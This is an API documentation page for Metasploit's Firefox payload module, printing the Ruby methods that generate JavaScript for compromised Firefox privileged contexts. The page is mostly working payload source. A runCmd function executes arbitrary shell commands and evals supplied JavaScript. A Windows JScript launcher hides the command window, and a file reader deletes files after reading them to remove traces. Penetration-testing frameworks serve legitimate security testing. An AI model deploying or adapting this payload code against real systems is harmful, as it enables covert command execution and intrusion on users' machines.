Module: Msf::Payload::Firefox

Defined in:
lib/msf/core/payload/firefox.rb

Instance Method Summary collapse

Instance Method Details

#jscript_launcherString

This file is dropped on the windows platforms to a temp file in order to prevent the cmd.exe prompt from appearing. It is executed and then deleted.

Note: we should totally add a powershell replacement here.

base64 and runs it as a shell command.


179
180
181
182
183
184
185
186
187
188
189
190
191
# File 'lib/msf/core/payload/firefox.rb', line 179

def jscript_launcher
  %Q|
    var b64 = WScript.arguments(0);
    var dom = new ActiveXObject("MSXML2.DOMDocument.3.0");
    var el  = dom.createElement("root");
    el.dataType = "bin.base64"; el.text = b64; dom.appendChild(el);
    var stream = new ActiveXObject("ADODB.Stream");
    stream.Type=1; stream.Open(); stream.Write(el.nodeTypedValue);
    stream.Position=0; stream.type=2; stream.CharSet = "us-ascii"; stream.Position=0;
    var cmd = stream.ReadText();
    (new ActiveXObject("WScript.Shell")).Run(cmd, 0, true);
  |
end

#read_file_sourceString

Javascript source code of readFile(path) - synchronously reads a file and returns its contents. The file is deleted immediately afterwards.


23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
# File 'lib/msf/core/payload/firefox.rb', line 23

def read_file_source
  %Q|
    var readFile = function(path) {
      try {
        var file = Components.classes["@mozilla.org/file/local;1"]
                 .createInstance(Components.interfaces.nsILocalFile);
        file.initWithPath(path);

        var fileStream = Components.classes["@mozilla.org/network/file-input-stream;1"]
                         .createInstance(Components.interfaces.nsIFileInputStream);
        fileStream.init(file, 1, 0, false);

        var binaryStream = Components.classes["@mozilla.org/binaryinputstream;1"]
                           .createInstance(Components.interfaces.nsIBinaryInputStream);
        binaryStream.setInputStream(fileStream);
        var array = binaryStream.readByteArray(fileStream.available());

        binaryStream.close();
        fileStream.close();
        file.remove(true);

        return array.map(function(aItem) { return String.fromCharCode(aItem); }).join("");
      } catch (e) { return ""; }
    };
  |
end

#run_cmd_sourceString

Javascript source code of runCmd(str,cb) - runs a shell command on the OS

Because of a limitation of firefox, we cannot retrieve the shell output so the stdout/err are instead redirected to a temp file, which is read and destroyed after the command completes.

On posix, the command is double wrapped in “/bin/sh -c” calls, the outer of which redirects stdout.

On windows, the command is wrapped in two “cmd /c” calls, the outer of which redirects stdout. A JScript “launch” file is dropped and invoked with wscript to run the command without displaying the cmd.exe prompt.

When the command contains the pattern “[JAVASCRIPT] … [/JAVASCRIPT]”, the javascript code between the tags is eval'd and returned.


67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
# File 'lib/msf/core/payload/firefox.rb', line 67

def run_cmd_source
  %Q|
    #{read_file_source}
    #{set_timeout_source}

    var ua = Components.classes["@mozilla.org/network/protocol;1?name=http"]
      .getService(Components.interfaces.nsIHttpProtocolHandler).userAgent;
    var windows = (ua.indexOf("Windows")>-1);
    var svcs = Components.utils.import("resource://gre/modules/Services.jsm");
    var jscript = (#{JSON.unparse({:src => jscript_launcher})}).src;
    var runCmd = function(cmd, cb) {
      cb = cb \|\| (function(){});

      if (cmd.trim().length == 0) {
        setTimeout(function(){ cb("Command is empty string ('')."); });
        return;
      }

      var js = (/^\\s*\\[JAVASCRIPT\\]([\\s\\S]*)\\[\\/JAVASCRIPT\\]/g).exec(cmd.trim());
      if (js) {
        var tag = "[!JAVASCRIPT]";
        var sync = true;  /* avoid zalgo's reach */
        var sent = false;
        var retVal = null;

        try {
          retVal = Function('send', js[1])(function(r){
            if (sent) return;
            sent = true
            if (r) {
              if (sync) setTimeout(function(){ cb(false, r+tag+"\\n"); });
              else      cb(false, r+tag+"\\n");
            }
          });
        } catch (e) { retVal = e.message; }

        sync = false;

        if (retVal && !sent) {
          sent = true;
          setTimeout(function(){ cb(false, retVal+tag+"\\n"); });
        }

        return;
      }

      var shEsc = "\\\\$&";
      var shPath = "/bin/sh -c"

      if (windows) {
        shPath = "cmd /c";
        shEsc = "\\^$&";
        var jscriptFile = Components.classes["@mozilla.org/file/directory_service;1"]
          .getService(Components.interfaces.nsIProperties)
          .get("TmpD", Components.interfaces.nsIFile);
        jscriptFile.append('#{Rex::Text.rand_text_alphanumeric(8+rand(12))}.js');
        var stream = Components.classes["@mozilla.org/network/safe-file-output-stream;1"]
          .createInstance(Components.interfaces.nsIFileOutputStream);
        stream.init(jscriptFile, 0x04 \| 0x08 \| 0x20, 0666, 0);
        stream.write(jscript, jscript.length);
        if (stream instanceof Components.interfaces.nsISafeOutputStream) {
          stream.finish();
        } else {
          stream.close();
        }
      }

      var stdoutFile = "#{Rex::Text.rand_text_alphanumeric(8+rand(12))}";

      var stdout = Components.classes["@mozilla.org/file/directory_service;1"]
        .getService(Components.interfaces.nsIProperties)
        .get("TmpD", Components.interfaces.nsIFile);
      stdout.append(stdoutFile);

      if (windows) {
        var shell = shPath+" "+cmd;
        shell = shPath+" "+shell.replace(/\\W/g, shEsc)+" >"+stdout.path+" 2>&1";
        var b64 = svcs.btoa(shell);
      } else {
        var shell = shPath+" "+cmd.replace(/\\W/g, shEsc);
        shell = shPath+" "+shell.replace(/\\W/g, shEsc) + " >"+stdout.path+" 2>&1";
      }
      var process = Components.classes["@mozilla.org/process/util;1"]
        .createInstance(Components.interfaces.nsIProcess);
      var sh = Components.classes["@mozilla.org/file/local;1"]
                 .createInstance(Components.interfaces.nsILocalFile);

      if (windows) {
        sh.initWithPath("C:\\\\Windows\\\\System32\\\\wscript.exe");
        process.init(sh);
        var args = [jscriptFile.path, b64];
        process.run(true, args, args.length);
        jscriptFile.remove(true);
        setTimeout(function(){cb(false, cmd+"\\n"+readFile(stdout.path));});
      } else {
        sh.initWithPath("/bin/sh");
        process.init(sh);
        var args = ["-c", shell];
        process.run(true, args, args.length);
        setTimeout(function(){cb(false, readFile(stdout.path));});
      }
    };
  |
end

#set_timeout_sourceString

Javascript source code of setTimeout(fn, delay)


9
10
11
12
13
14
15
16
17
# File 'lib/msf/core/payload/firefox.rb', line 9

def set_timeout_source
  %Q|
    var setTimeout = function(cb, delay) {
      var timer = Components.classes["@mozilla.org/timer;1"].createInstance(Components.interfaces.nsITimer);
      timer.initWithCallback({notify:cb}, delay, Components.interfaces.nsITimer.TYPE_ONE_SHOT);
      return timer;
    };
  |
end